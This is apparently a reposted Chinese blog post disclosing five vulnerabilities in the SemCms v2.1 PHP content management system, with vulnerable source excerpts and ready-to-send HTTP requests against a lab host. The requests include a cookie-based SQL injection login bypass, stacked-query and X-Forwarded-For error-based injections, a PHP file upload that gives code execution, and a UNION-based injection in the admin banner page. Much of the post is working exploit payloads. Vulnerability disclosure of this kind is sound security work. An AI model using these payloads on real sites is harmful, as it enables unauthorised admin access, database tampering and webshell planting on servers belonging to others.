欢迎光临
我们一直在努力

Semcms v2.1 php诸多问题

Semcms简介


 SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。SemCms使用php和vbscript语言编写,结合apache或iis运行。SemCms主要从事于英文网站建设,外贸网站建设,外贸网站制作,外贸网站源码开发。 SemCms采用国际通用utf-8编码编写。SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。

主要问题:


1.这套系统的后台路径是右四个随机字符生成的,爆破总数量有四十多万,比一般默认后台路径的系统相对来说要安全一点。但如果要爆的话,只是时间问题。 2.后台cookie登录处存在注入,可以任意用户登录。 3.前台sql注入 4.后台任意文件上传 5.后台sql注入

1.后台路径暴力破解
install/index.php


        $ht_filename="";         for ($i = 1; $i <= 4; $i++) {                  $ht_filename.= chr(rand(97, 122));                 ;}                  rename('../Admin', '../'.$ht_filename.'_Admin' ) or die ( "无法修改后台路径,请查看文件夹Admin权限,或手动更改Admin名称。错误信息: /n".mysql_error() );              echo"<br><br><font color='red'>网站后台地址为:你的域名+".$ht_filename."_Admin/</font><br><font color='red'>请牢记,后台默认帐户:Admin 密码:1</font><br><br>";

在_Admin前面随机加了4个字母.完全可以随机生成字典进行爆破.

2.后台地址任意用户登录
文件位置:/Admin/Include/function.php


function checkuser(){ //判断账号      $cookieuser=@htmlspecialchars($_COOKIE["scuser"]);     $cookieuserqx=@htmlspecialchars($_COOKIE["scuserqx"]);     $sql="select * from sc_user where user_ps='$cookieuser' and user_qx='$cookieuserqx'";      $result=mysql_query($sql);      $row = mysql_fetch_array($result,MYSQL_ASSOC);      if (!mysql_num_rows($result)){ echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";}      else {echo'';}         }

可以看到cookie只简单的用htmlspecialchars()函数过滤了。我们知道这个函数用于将’&’,”'(单引号),'”‘(双引号),'<‘(小于号),’>’(大于号)转义为html实体字符。
单引号,双引号被过滤了,就没办法了吗?当然不!
我们让$cookieuser=,转义掉右边的单引号,使得$cookieuser左边单引号和$cookieuserqx左边的单引号成对,$cookieuserqx成功逃逸出单引号的包围。
最终执行的sql语句应该是这样的:


$sql=&quot;select * from sc_user where user_ps='/' and user_qx='or 1=1 #'&quot;;

即实现了任意用户登录
添加cookie


Cookie: scuser=/; scuserqx=or 1=1 #

467743930 Semcms v2.1 php诸多问题
添加cookie
467743930 Semcms v2.1 php诸多问题
3.前台注入
文件位置:Include/web_email.php


if ($Type==&quot;fintpassword&quot;){             if (@htmlspecialchars($_POST['Email']) !==&quot;&quot;){ // 判断是否输入邮箱              $sql=&quot;select * from sc_user where user_email='&quot;.$_POST['Email'].&quot;'&quot;;      $result=mysql_query($sql);      $row = mysql_fetch_array($result,MYSQL_ASSOC);      if (mysql_num_rows($result)&gt;0)          {     $fsjs=rand(10,10000);  //邮件认证码     $fhurl=str_replace(&quot;SEMCMS_Remail.php&quot;,&quot;&quot;,$_POST['furl']);    $smtpusermail=$smtpemailto;    $smtptoemail=@htmlspecialchars($_POST['Email']);    $mailtitle=&quot;来自&quot;.$_SERVER['SERVER_NAME'].&quot;密码找回邮件!&quot;;    $mailcontent=&quot;网站管理员你好:&lt;br&gt;你的邮箱是:&quot;.$_POST['Email'].&quot;&lt;br&gt; 点击&lt;a href='&quot;.$fhurl.&quot;?umail=&quot;.$_POST['Email'].&quot;&amp;type=ok' target='_blank'&gt;找回密码&lt;/a&gt;&quot;            . &quot; 或者复制以下链接到浏览器浏览 &lt;br&gt;&quot;            . &quot;&quot;.$fhurl.&quot;?umail=&quot;.$_POST['Email'].&quot;&amp;type=ok &lt;br&gt;认证码:&quot;.$fsjs.&quot;&lt;br&gt;请妥善保管!&quot;;       mysql_query(&quot;UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='&quot;.$_POST['Email'].&quot;'&quot;);  ......  elseif ($Type==&quot;MSG&quot;){ //询盘发送!       $msg_email=@htmlspecialchars($_POST['mail']);  $msg_content=@htmlspecialchars($_POST['tent']);  $msg_pid=@htmlspecialchars($_POST['PID']);  $msg_languageID=@htmlspecialchars($_POST['languageID']);  $msg_ip=getRealIp();     if(preg_match('/^[a-z0-9!#$%&amp;/'*+//=?^_`{|}~-]+(?:/.[a-z0-9!#$%&amp;/'*+//=?^_`{|}~-]+)*@(?:[-_a-z0-9][-_a-z0-9]*/.)*(?:[a-z0-9][-a-z0-9]{0,62})/.(?:(?:[a-z]{2}/.)?[a-z]{2,})$/i',$msg_email) &amp;&amp; $msg_content!==&quot;&quot;){      //写入数据库       mysql_query(&quot;INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)&quot;          . &quot;VALUES ('$msg_pid','$msg_email','$msg_content','$msg_ip','$msg_languageID')&quot;);

在type==fintpassword的过程中.虽然判断了Email不能为空.但是实际查询的时候却放弃了htmlspecialchars.


$sql=&quot;select * from sc_user where user_email='&quot;.$_POST['Email'].&quot;'&quot;;

这里可以直接执行多语句.比如我们看下面的update.


mysql_query(&quot;UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='&quot;.$_POST['Email'].&quot;'&quot;);

实际测试一下.发一个post请求包


POST /Include/web_email.php?type=fintpassword HTTP/1.1 Host: 192.168.87.128 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 92  Email=41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#

实际执行的sql语句却是


select * from sc_user where user_email='41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#'

可以达到执行任意语句的效果.
467743930 Semcms v2.1 php诸多问题
另外一处就是Type==”MSG”.这里面主要就是获取了ip然后入库的时候出了点毛病


function getRealIp() {     $ip=false;     if(!empty($_SERVER[&quot;HTTP_CLIENT_IP&quot;])){         $ip = $_SERVER[&quot;HTTP_CLIENT_IP&quot;];     }     if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {         $ips = explode (&quot;, &quot;, $_SERVER['HTTP_X_FORWARDED_FOR']);         if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }         for ($i = 0; $i &lt; count($ips); $i++) {             if (!eregi (&quot;^(10│172.16│192.168).&quot;, $ips[$i])) {                 $ip = $ips[$i];                 break;             }         }     }     return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); }

测试数据包


POST /Include/web_email.php?type=MSG HTTP/1.1 Host: 192.168.87.128 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10 X-Forwarded-For: 127.0.0.1'or extractvalue(1,concat(0x7e,database())) or' Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 79  mail=41864438@qq.com&amp;tent=fucktest&amp;button=Inquiry%2Bnow&amp;PID=22&amp;languageID=1

有意思的是这个执行insert仅仅就是插入了而已,并不关心是否插入成功..执行的语句是


INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)VALUES ('22','41864438@qq.com','fucktest','127.0.0.1'or extractvalue(1,concat(0x7e,database())) or'','1')

4.后台任意文件上传
文件地址:xxx_Admin/SEMCMS_Upfile.php。我去掉了注释方便阅读


&lt;?php if (($_FILES[&quot;file&quot;][&quot;size&quot;] &gt; 1) &amp;&amp; ($_FILES[&quot;file&quot;][&quot;size&quot;] &lt; 30240000))   {   if ($_FILES[&quot;file&quot;][&quot;error&quot;] &gt; 0)     {       echo &quot;&lt;script language='javascript'&gt;alert('上传失败,返回重新选择');history.go(-1);&lt;/script&gt;&quot;;     }   else     {       //文件存放路径       $Imageurl=$_POST[&quot;imageurl&quot;];       $filed=$_POST[&quot;filed&quot;];       $filedname=$_POST[&quot;filedname&quot;];       $uptype = explode(&quot;.&quot;,$_FILES[&quot;file&quot;][&quot;name&quot;]);//获取扩展名       if (test_input($_POST[&quot;wname&quot;])!==&quot;&quot;){//自定义文件名         $newname=test_input($_POST[&quot;wname&quot;]).&quot;.&quot;.end($uptype); //新的文件名         }else{            $rand=rand(10,100);//随机数            $date = date(&quot;ymdhis&quot;).$rand;//文件名:时间+随机数            $newname=$date.&quot;.&quot;.end($uptype); //新的文件名       }             move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;],$Imageurl.$newname); //文件写入文件夹                            echo&quot;&lt;script language='javascript'&gt;window.opener.document.&quot;.$filedname.&quot;.&quot;.$filed.&quot;.value='&quot;.$Imageurl.$newname.&quot;';&lt;/script&gt;&quot;;             echo&quot;&lt;script language='javascript'&gt;window.close();&lt;/script&gt;&quot;;     }   } else   {   //echo &quot;Invalid file&quot;; echo &quot;&lt;script language='javascript'&gt;alert('1.请检查文件上传类型.//n 允许:jpe,gif,png,doc,xls,pdf,rar,zip,bmp //n2.上传大小1M之内.');history.go(-1);&lt;/script&gt;&quot;;   } ?&gt;

肯定是我看错了.不知道他的验证去哪里了..我一定是下载了一个假的文件包.结合前面的cookie欺骗。也构造一个post包


POST /xdan_Admin/SEMCMS_Upfile.php HTTP/1.1 Host: 192.168.87.128 Content-Length: 685 Cache-Control: max-age=0 Origin: http://192.168.87.128 Upgrade-Insecure-Requests: 1 User-Agent: Http-Client-superagent Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBqXrzJtqlyx3NBh Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://192.168.87.128/xdan_Admin/SEMCMS_Upload.php?Imageurl=../Images/default/&amp;filed=web_logo&amp;filedname=form Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2 Cookie: scuser=/; scuserqx=or 1=1 # Connection: close  ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;wname&quot;   ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot; Content-Type: image/png  &lt;?php phpinfo();?&gt; ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;imageurl&quot;  ../ ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;filed&quot;  web_logo ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;filedname&quot;  form ------WebKitFormBoundarypBqXrzJtqlyx3NBh Content-Disposition: form-data; name=&quot;submit&quot;  Submit ------WebKitFormBoundarypBqXrzJtqlyx3NBh--

467743930 Semcms v2.1 php诸多问题
467743930 Semcms v2.1 php诸多问题

5.后台sql注入。
比较多,
467743930 Semcms v2.1 php诸多问题
列举一个灰常典型的
xxxx_Admin/SEMCMS_Banner.php


&lt;?php   $sql=mysql_query(&quot;select * from sc_banner where languageID=&quot;.$_GET[&quot;lgid&quot;].&quot;&quot;);       $all_num=mysql_num_rows($sql); //总条数  $page_num=10; //每页条数  $page_all_num = ceil($all_num/$page_num); //总页数  $page=empty($_GET['page'])?1:$_GET['page']; //当前页数  $page=(int)$page; //安全强制转换  $limit_st = ($page-1)*$page_num; //起始数     $sql=&quot;select  * from  sc_banner where languageID=&quot;.$_GET['lgid'].&quot; order by ID desc  limit $limit_st,$page_num &quot;;     $query=mysql_query($sql);     Panduans(mysql_num_rows($query));

对GET参数没有处理.直接注入


select  * from  sc_banner where languageID=1 and 1=1 union select 1,2,concat(user(),0xa3a,version()),4,5,6,7# order by ID desc  limit 0,10

467743930 Semcms v2.1 php诸多问题

未经允许不得转载:杂术馆 » Semcms v2.1 php诸多问题
分享到: 更多 (0)